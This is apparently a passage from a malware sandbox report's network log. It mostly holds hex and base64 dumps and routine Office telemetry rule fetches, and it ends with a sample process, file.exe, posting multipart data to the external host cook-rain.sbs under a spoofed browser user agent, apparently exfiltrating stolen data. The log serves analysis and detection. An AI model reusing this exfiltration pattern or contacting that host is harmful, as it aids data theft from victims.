7a 6d 61 55 7a 2b 64 4d 61 39 61 36 5a 34 33 53 65 44 59 74 61 69 58 67 63 74 68 74 2b 45 79 4d 67 Data Ascii: 3f8eU+pK1ORfx006YhvDjIYotul/sQDCrKkMvJ2nTHkA/c2iWnr00NxXnPpSyvdtspnS6R9l5eYYHYh8LCMo3eL8PAJamqWEP+c8ykLqsyxHWFa5H0ExQkypDLydp0x5Aa5c0nvKMeevN0z6w9+SmKfsRpmrpGRiKG04LLzSaV3CHDzT6krl1B/3HNrjmyOcxohWOb8RoGYcSejNaCbN/xLd7YNLzmaUz+dMa9a6Z43SeDYtaiXgctht+EyMg
2024-11-20 07:12:23 UTC	1369	IN	Data Raw: 39 58 4f 4e 36 43 76 55 6b 48 35 64 73 6d 6e 4c 4b 73 37 77 57 2b 4f 5a 35 50 32 45 77 55 7a 69 64 2f 4c 67 49 49 7a 68 35 42 34 6b 65 30 45 6d 6f 63 63 55 4c 35 6a 67 61 77 6e 2b 57 36 45 5a 6f 78 70 6d 50 34 4d 43 44 4f 45 32 59 76 49 79 6a 79 59 33 43 37 66 32 44 2b 73 70 46 4a 41 2b 48 50 46 71 69 2b 39 4f 73 4d 6e 79 69 36 52 34 6c 35 65 59 61 4c 64 6b 64 53 41 47 70 54 51 4a 38 48 63 4c 4f 32 37 45 6c 61 77 66 63 33 72 63 2f 6b 79 7a 32 32 4e 62 5a 2f 2b 45 77 59 6f 68 64 65 44 77 38 6f 6d 6e 74 6f 79 31 63 38 32 6f 71 35 59 52 2f 78 31 7a 61 38 35 73 6e 61 4b 4a 34 4e 32 31 71 4a 65 4a 69 71 63 2f 5a 6e 63 67 69 76 52 79 57 44 57 78 6e 66 31 35 46 56 44 38 58 76 4c 72 53 43 38 4f 38 52 69 6a 6d 6d 61 2b 68 34 46 4a 34 7a 54 67 38 62 4f 4f 4a 7a 64 Data Ascii: 9XON6CvUkH5dsmnLKs7wW+OZ5P2EwUzid/LgIIzh5B4ke0EmoccUL5jgawn+W6EZoxpmP4MCDOE2YvIyjyY3C7f2D+spFJA+HPFqi+9OsMnyi6R4l5eYaLdkdSAGpTQJ8HcLO27Elawfc3rc/kyz22NbZ/+EwYohdeDw8omntoy1c82oq5YR/x1za85snaKJ4N21qJeJiqc/ZncgivRyWDWxnf15FVD8XvLrSC8O8Rijmma+h4FJ4zTg8bOOJzd
2024-11-20 07:12:23 UTC	1369	IN	Data Raw: 79 72 71 6c 31 4a 2f 48 65 42 35 57 75 2b 4c 6f 51 2f 78 45 6d 4d 39 78 67 52 4d 4c 2f 5a 69 35 2b 43 4b 39 48 4a 59 4e 62 47 64 2f 58 6b 55 55 50 36 64 38 53 76 49 37 34 31 78 57 75 41 59 35 76 2b 46 77 49 6b 6d 4d 79 4e 77 4d 49 37 6b 64 38 73 77 38 51 79 72 61 67 63 41 62 42 39 32 65 74 7a 2b 51 66 54 5a 38 52 78 32 4f 4e 65 41 53 33 4b 68 73 76 42 7a 79 61 54 33 79 44 51 79 54 4f 6d 6f 31 70 4a 38 58 6e 45 71 43 36 2f 4e 38 52 72 6a 6d 6d 65 38 42 41 4c 4a 34 37 59 6a 59 36 4d 64 4a 6a 49 59 49 6d 4b 42 61 43 71 56 55 7a 32 64 39 65 44 47 76 6b 70 69 6e 37 45 61 5a 71 36 52 6b 59 6c 67 64 61 48 79 38 6f 78 6e 74 67 71 32 63 55 34 76 36 56 54 52 76 64 78 7a 4b 51 6c 76 44 6a 57 59 49 39 6c 6e 76 4d 51 41 47 48 45 6e 6f 7a 57 67 6d 7a 66 35 69 50 66 77 Data Ascii: yrql1J/HeB5Wu+LoQ/xEmM9xgRML/Zi5+CK9HJYNbGd/XkUUP6d8SvI741xWuAY5v+FwIkmMyNwMI7kd8sw8QyragcAbB92etz+QfTZ8Rx2ONeAS3KhsvBzyaT3yDQyTOmo1pJ8XnEqC6/N8Rrjmme8BALJ47YjY6MdJjIYImKBaCqVUz2d9eDGvkpin7EaZq6RkYlgdaHy8oxntgq2cU4v6VTRvdxzKQlvDjWYI9lnvMQAGHEnozWgmzf5iPfw
2024-11-20 07:12:23 UTC	1369	IN	Data Raw: 53 58 66 46 31 67 65 56 72 76 69 36 45 50 38 52 66 67 50 30 5a 43 57 4f 6a 32 5a 44 50 79 44 65 55 33 47 44 4f 68 43 37 74 6f 31 41 50 71 44 72 4d 70 79 61 39 4a 4d 68 6e 68 47 65 52 38 41 77 4a 4c 6f 66 64 69 38 76 51 4e 59 33 66 4b 39 54 4a 4d 36 4b 72 55 45 66 36 4f 6f 2f 72 4c 4b 46 32 6e 43 65 6f 62 59 66 77 58 43 45 37 6e 4e 6d 48 33 38 6b 35 6b 35 41 2f 6e 39 4e 33 71 71 67 63 46 37 42 36 77 4b 59 35 76 44 66 4f 62 59 6c 6d 6d 66 38 62 43 53 57 4f 31 59 58 63 7a 44 75 66 31 69 76 51 7a 7a 53 6d 72 6c 4a 47 34 6a 71 50 36 79 79 68 64 70 77 6e 72 6e 57 58 39 78 4a 45 44 34 48 49 6a 49 7a 6a 4f 70 54 58 4c 4d 65 4b 4b 4f 4f 39 48 45 6a 38 4f 70 6e 72 49 72 63 36 78 32 43 4d 5a 70 50 36 46 51 59 75 67 4e 43 4d 33 4d 67 34 6c 63 49 76 30 73 63 7a 6f 4b Data Ascii: SXfF1geVrvi6EP8RfgP0ZCWOj2ZDPyDeU3GDOhC7to1APqDrMpya9JMhnhGeR8AwJLofdi8vQNY3fK9TJM6KrUEf6Oo/rLKF2nCeobYfwXCE7nNmH38k5k5A/n9N3qqgcF7B6wKY5vDfObYlmmf8bCSWO1YXczDuf1ivQzzSmrlJG4jqP6yyhdpwnrnWX9xJED4HIjIzjOpTXLMeKKOO9HEj8OpnrIrc6x2CMZpP6FQYugNCM3Mg4lcIv0sczoK
2024-11-20 07:12:23 UTC	1369	IN	Data Raw: 66 63 33 72 63 2f 6b 32 77 47 75 48 61 5a 6a 31 45 77 6b 6d 67 64 47 42 77 4e 41 37 6d 74 67 73 32 63 63 6c 70 36 35 4f 52 76 6c 33 7a 36 4d 35 75 6e 61 4b 4a 34 4e 32 31 71 4a 65 4e 43 75 4a 30 70 33 44 7a 58 53 41 6e 6a 6d 52 7a 54 76 74 2f 42 78 64 34 6e 72 4b 71 79 79 33 4a 4d 56 76 69 32 53 57 2f 42 55 4d 49 6f 50 61 68 63 66 45 4e 5a 4c 52 49 64 48 50 4e 36 53 32 55 51 2b 2b 4f 73 61 7a 61 2b 46 32 38 32 75 50 58 35 58 73 58 68 6c 76 6b 35 36 4d 77 6f 4a 73 33 39 45 79 33 4d 49 7a 72 61 6c 61 52 50 46 37 77 71 73 72 75 6a 62 42 62 49 74 6f 6b 66 63 55 44 79 69 59 31 6f 2f 63 77 6a 69 62 6b 47 36 52 7a 53 2f 74 2f 42 78 2f 38 33 48 4e 71 79 61 73 64 74 73 70 6e 53 36 52 39 6c 35 65 59 59 4c 56 67 4d 6a 4a 4e 35 7a 65 4b 39 76 46 4f 4b 65 69 57 6b 66 Data Ascii: fc3rc/k2wGuHaZj1EwkmgdGBwNA7mtgs2cclp65ORvl3z6M5unaKJ4N21qJeNCuJ0p3DzXSAnjmRzTvt/Bxd4nrKqyy3JMVvi2SW/BUMIoPahcfENZLRIdHPN6S2UQ++Osaza+F282uPX5XsXhlvk56MwoJs39Ey3MIzralaRPF7wqsrujbBbItokfcUDyiY1o/cwjibkG6RzS/t/Bx/83HNqyasdtspnS6R9l5eYYLVgMjJN5zeK9vFOKeiWkf
2024-11-20 07:12:23 UTC	1369	IN	Data Raw: 43 66 37 4e 38 6c 33 67 79 37 59 75 68 68 47 65 64 71 51 79 38 72 54 64 4d 65 41 63 6f 71 66 5a 50 72 30 44 6c 43 2b 59 34 47 39 61 2b 46 6b 69 69 65 57 4c 73 36 36 57 51 55 7a 6d 4e 69 49 32 4d 46 7a 6f 65 34 41 32 73 59 30 6f 61 56 62 44 37 34 36 7a 75 74 7a 67 48 62 48 64 5a 59 68 68 2b 77 54 46 69 62 47 31 70 72 44 7a 6e 54 52 6b 47 7a 56 77 54 75 6f 6f 30 77 41 34 6d 72 4b 70 7a 33 31 4d 74 59 6e 79 69 36 48 38 52 45 55 4c 34 32 52 6d 74 6a 50 4a 4a 7a 56 4a 35 33 43 4a 71 43 6f 48 41 47 77 62 38 71 6e 4c 62 51 6a 69 33 61 53 62 59 44 39 55 67 34 77 68 39 4c 4c 38 59 78 30 68 35 42 34 6b 66 38 30 6f 36 70 62 57 65 45 33 34 61 41 6e 75 6a 72 46 59 4d 51 67 31 76 78 65 58 6e 4c 45 6e 6f 2f 66 67 6d 7a 50 67 6e 75 45 6d 57 44 39 39 6b 4d 42 36 54 72 58 Data Ascii: Cf7N8l3gy7YuhhGedqQy8rTdMeAcoqfZPr0DlC+Y4G9a+FkiieWLs66WQUzmNiI2MFzoe4A2sY0oaVbD746zutzgHbHdZYhh+wTFibG1prDznTRkGzVwTuoo0wA4mrKpz31MtYnyi6H8REUL42RmtjPJJzVJ53CJqCoHAGwb8qnLbQji3aSbYD9Ug4wh9LL8Yx0h5B4kf80o6pbWeE34aAnujrFYMQg1vxeXnLEno/fgmzPgnuEmWD99kMB6TrX
2024-11-20 07:12:23 UTC	1369	IN	Data Raw: 57 4b 4a 35 59 75 7a 72 70 5a 43 43 79 4c 33 59 58 4e 30 43 61 5a 30 7a 62 53 6a 51 6d 54 67 56 46 43 39 58 54 47 6c 52 57 59 50 4e 52 71 69 32 6d 6f 78 43 6b 58 4a 70 71 63 72 63 33 55 4e 39 2b 65 59 4d 6d 4b 62 2b 32 46 56 6c 2f 39 64 63 62 72 5a 66 6b 79 68 44 2f 45 53 35 76 33 47 77 67 6d 79 50 2b 42 33 73 38 37 6d 4a 42 75 6b 63 5a 33 39 65 52 64 52 65 42 33 7a 71 78 6e 76 69 7a 44 4a 38 6f 75 6d 4c 70 47 52 69 43 41 7a 6f 62 42 78 58 69 5a 33 69 36 52 31 58 6d 30 35 45 6f 50 71 43 6d 50 36 7a 6e 35 62 6f 51 67 69 6d 4f 58 2b 52 41 46 4d 35 6a 59 69 4e 6a 42 63 36 48 75 42 64 7a 48 4d 71 4f 6a 59 6e 48 52 63 4e 47 6d 4a 4c 35 30 35 47 43 53 62 61 6a 45 4b 52 63 6d 6d 70 79 74 7a 64 51 33 33 35 35 67 79 59 70 76 37 59 56 57 58 2f 31 31 78 75 6b 4c 76 Data Ascii: WKJ5YuzrpZCCyL3YXN0CaZ0zbSjQmTgVFC9XTGlRWYPNRqi2moxCkXJpqcrc3UN9+eYMmKb+2FVl/9dcbrZfkyhD/ES5v3GwgmyP+B3s87mJBukcZ39eRdReB3zqxnvizDJ8oumLpGRiCAzobBxXiZ3i6R1Xm05EoPqCmP6zn5boQgimOX+RAFM5jYiNjBc6HuBdzHMqOjYnHRcNGmJL505GCSbajEKRcmmpytzdQ3355gyYpv7YVWX/11xukLv

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.6	49744	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:23 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:23 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:23 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65766a9d-a01e-0002-6d8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071223Z-185f5d8b95cdh56ghC1NYCk1x400000003mg00000000made x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 07:12:23 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.6	49745	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:23 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:23 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: fdab78a3-101e-005a-1d8c-3a882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071223Z-185f5d8b95c9mqtvhC1NYCghtc00000009z0000000009anv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:23 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	49746	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:23 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:23 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: ac667451-e01e-003c-3e8c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071223Z-r1d97b99577ndm4rhC1TEBf0ps00000008q0000000004szk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:23 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	49747	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:23 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:23 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 538c974f-101e-0028-648c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071223Z-1777c6cb7549j9hhhC1TEBzmcc000000094g00000000ckk5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:23 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49748	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:23 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:23 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: f14fa7ac-201e-000c-4a8c-3a79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071223Z-1777c6cb754g9zd5hC1TEBfvpw00000009e00000000052et x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:23 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49749	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:24 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:24 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:24 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 70a27ff5-201e-0051-4e8c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071224Z-r1d97b99577dd2gchC1TEBz5ys00000008dg000000003e5b x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:24 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49753	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:24 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:12:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:12:24 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: a1d815ed-301e-0096-3f8c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T071224Z-185f5d8b95cdh56ghC1NYCk1x400000003ug000000001h1f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:12:24 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	49754	188.114.97.3	443	5728	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:12:24 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=S32H77TKSFU12O5SQX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12865 Host: cook-rain.sbs
